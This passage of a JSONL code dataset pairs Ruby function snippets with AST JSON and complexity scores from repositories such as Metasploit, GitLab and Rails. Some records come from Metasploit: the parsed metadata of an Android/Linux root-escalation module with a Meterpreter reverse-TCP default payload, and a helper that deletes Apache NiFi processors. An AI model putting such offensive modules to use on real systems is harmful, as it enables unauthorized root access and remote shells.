\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-08-31\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"android\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aarch64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"armle\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mipsle\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSLE\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/aarch64/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SU_BINARY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The su binary to execute to obtain root\"]},{\"type\":\"str\",\"children\":[\"su\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Writable directory\"]},{\"type\":\"str\",\"children\":[\"/data/local/tmp/\"]}]}]}]}]}]}]}","id":"8b8eeff1-3d68-4a86-977b-da812dbf8fa8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":714,"raw_source":"def banzai_render_context(field)\n    additional_attributes = { label_url_method: :project_issues_url }\n    additional_attributes[:group] = namespace if namespace.is_a?(Group)\n\n    super.merge(additional_attributes)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"banzai_render_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"additional_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label_url_method\"]},{\"type\":\"sym\",\"children\":[\"project_issues_url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additional_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"lvar\",\"children\":[\"additional_attributes\"]}]}]}]}","id":"679189d4-45af-4647-b6a5-8785c3003e22"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module_set.rb","start_line":279,"raw_source":"def module_metadata\n    Msf::Modules::Metadata::Cache.instance.module_metadata(module_type)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"module_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Modules\"]},\"Metadata\"]},\"Cache\"]},\"instance\"]},\"module_metadata\",{\"type\":\"send\",\"children\":[null,\"module_type\"]}]}]}","id":"743ef728-8f51-40f2-ba6b-3713b7e1b7b4"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":452,"raw_source":"def pba( text_in, element = \"\" )\n        \n        return '' unless text_in\n\n        style = []\n        text = text_in.dup\n        if element == 'td'\n            colspan = $1 if text =~ /\\\\(\\d+)/\n            rowspan = $1 if text =~ /\\/(\\d+)/\n            style << \"vertical-align:#{ v_align( $& ) };\" if text =~ A_VLGN\n        end\n\n        style << \"#{ $1 };\" if not filter_styles and\n            text.sub!( /\\{([^}]*)\\}/, '' )\n\n        lang = $1 if\n            text.sub!( /\\[([^)]+?)\\]/, '' )\n\n        cls = $1 if\n            text.sub!( /\\(([^()]+?)\\)/, '' )\n                        \n        style << \"padding-left:#{ $1.length }em;\" if\n            text.sub!( /([(]+)/, '' )\n\n        style << \"padding-right:#{ $1.length }em;\" if text.sub!( /([)]+)/, '' )\n\n        style << \"text-align:#{ h_align( $& ) };\" if text =~ A_HLGN\n\n        cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/\n        \n        atts = ''\n        atts << \" style=\\\"#{ style.join }\\\"\" unless style.empty?\n        atts << \" class=\\\"#{ cls }\\\"\" unless cls.to_s.empty?\n        atts << \" lang=\\\"#{ lang }\\\"\" if lang\n        atts << \" id=\\\"#{ id }\\\"\" if id\n        atts << \" colspan=\\\"#{ colspan }\\\"\" if colspan\n        atts << \" rowspan=\\\"#{ rowspan }\\\"\" if rowspan\n        \n        atts\n    end","complexity_score":65.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pba\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text_in\"]},{\"type\":\"optarg\",\"children\":[\"element\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_in\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_in\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"==\",{\"type\":\"str\",\"children\":[\"td\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"colspan\",{\"type\":\"nth_ref\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rowspan\",{\"type\":\"nth_ref\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"A_VLGN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"vertical-align:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"v_align\",{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_styles\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\{([^}]*)\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[([^)]+?)\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lang\",{\"type\":\"nth_ref\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(([^()]+?)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cls\",{\"type\":\"nth_ref\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([(]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"padding-left:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"em;\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([)]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"padding-right:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"em;\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"A_HLGN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"text-align:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h_align\",{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cls\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(.*?)#(.*)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cls\"]},{\"type\":\"lvasgn\",\"children\":[\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"nth_ref\",\"children\":[2]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"atts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" style=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"join\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cls\"]},\"to_s\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cls\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lang\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" lang=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lang\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colspan\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" colspan=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colspan\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rowspan\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" rowspan=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rowspan\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"atts\"]}]}]}","id":"0dae430f-4f59-4ddb-a658-017c99a0861e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/nifi/processor.rb","start_line":89,"raw_source":"def delete_processor(token, processor, version = 0)\n    vprint_status(\"Attempting to delete version #{version} of Processor: #{processor}\")\n    opts = {\n      'method' => 'DELETE',\n      'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor),\n      'vars_get' => { 'version' => version }\n    }\n    opts['headers'] = { 'Authorization' => \"Bearer #{token}\" } if token\n    res = send_request_cgi(opts)\n    \n    raise ProcessorError if res.nil?\n\n    while res.code == 400 && res.body.include?('is not the most up-to-date revision') && version <= 20\n      version += 1\n      opts['vars_get'] = { 'version' => version }\n\n      res = send_request_cgi(opts)\n      raise ProcessorError if res.nil?\n\n      vprint_status(\"Found newer revision of #{processor}, attempting to delete version #{version}\") if res.code == 400 && res.body.include?('is not the most up-to-date revision')\n    end\n\n    if version == 20\n      print_bad(\"Aborting after attempting to delete 20 version of Processor: #{processor}\")\n      raise ProcessorError\n    end\n\n    unless res.code == 200\n      print_bad(\"Unexpected response code: #{res.code}\")\n      raise ProcessorError\n    end\n    print_good('Processor Delete sent successfully')\n  end","complexity_score":57.25,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_processor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"processor\"]},{\"type\":\"optarg\",\"children\":[\"version\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to delete version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" of Processor: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processor\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"nifi-api\"]},{\"type\":\"str\",\"children\":[\"processors\"]},{\"type\":\"lvar\",\"children\":[\"processor\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ProcessorError\"]}]},null]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"is not the most up-to-date revision\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ProcessorError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"is not the most up-to-date revision\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found newer revision of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processor\"]}]},{\"type\":\"str\",\"children\":[\", attempting to delete version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"==\",{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Aborting after attempting to delete 20 version of Processor: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processor\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ProcessorError\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ProcessorError\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Processor Delete sent successfully\"]}]}]}]}","id":"888a8506-678e-410b-967b-b4e9cacc41b7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":374,"raw_source":"def load_schema(db_config, format = db_config.schema_format, file = nil) # :nodoc:\n        format = format.to_sym\n        file ||= schema_dump_path(db_config, format)\n        return unless file\n\n        verbose_was, Migration.verbose = Migration.verbose, verbose? && ENV[\"VERBOSE\"]\n        check_schema_file(file)\n\n        case format\n        when :ruby\n          load(file)\n        when :sql\n          structure_load(db_config, file)\n        else\n          raise ArgumentError, \"unknown format #{format.inspect}\"\n        end\n\n        migration_connection_pool.internal_metadata.create_table_and_set_flags(db_config.env_name, schema_sha1(file))\n      ensure\n        Migration.verbose = verbose_was\n      end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_config\"]},{\"type\":\"optarg\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"schema_format\"]}]},{\"type\":\"optarg\",\"children\":[\"file\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"to_sym\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[null,\"schema_dump_path\",{\"type\":\"lvar\",\"children\":[\"db_config\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verbose_was\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"verbose\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_schema_file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ruby\"]},{\"type\":\"send\",\"children\":[null,\"load\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"send\",\"children\":[null,\"structure_load\",{\"type\":\"lvar\",\"children\":[\"db_config\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown format 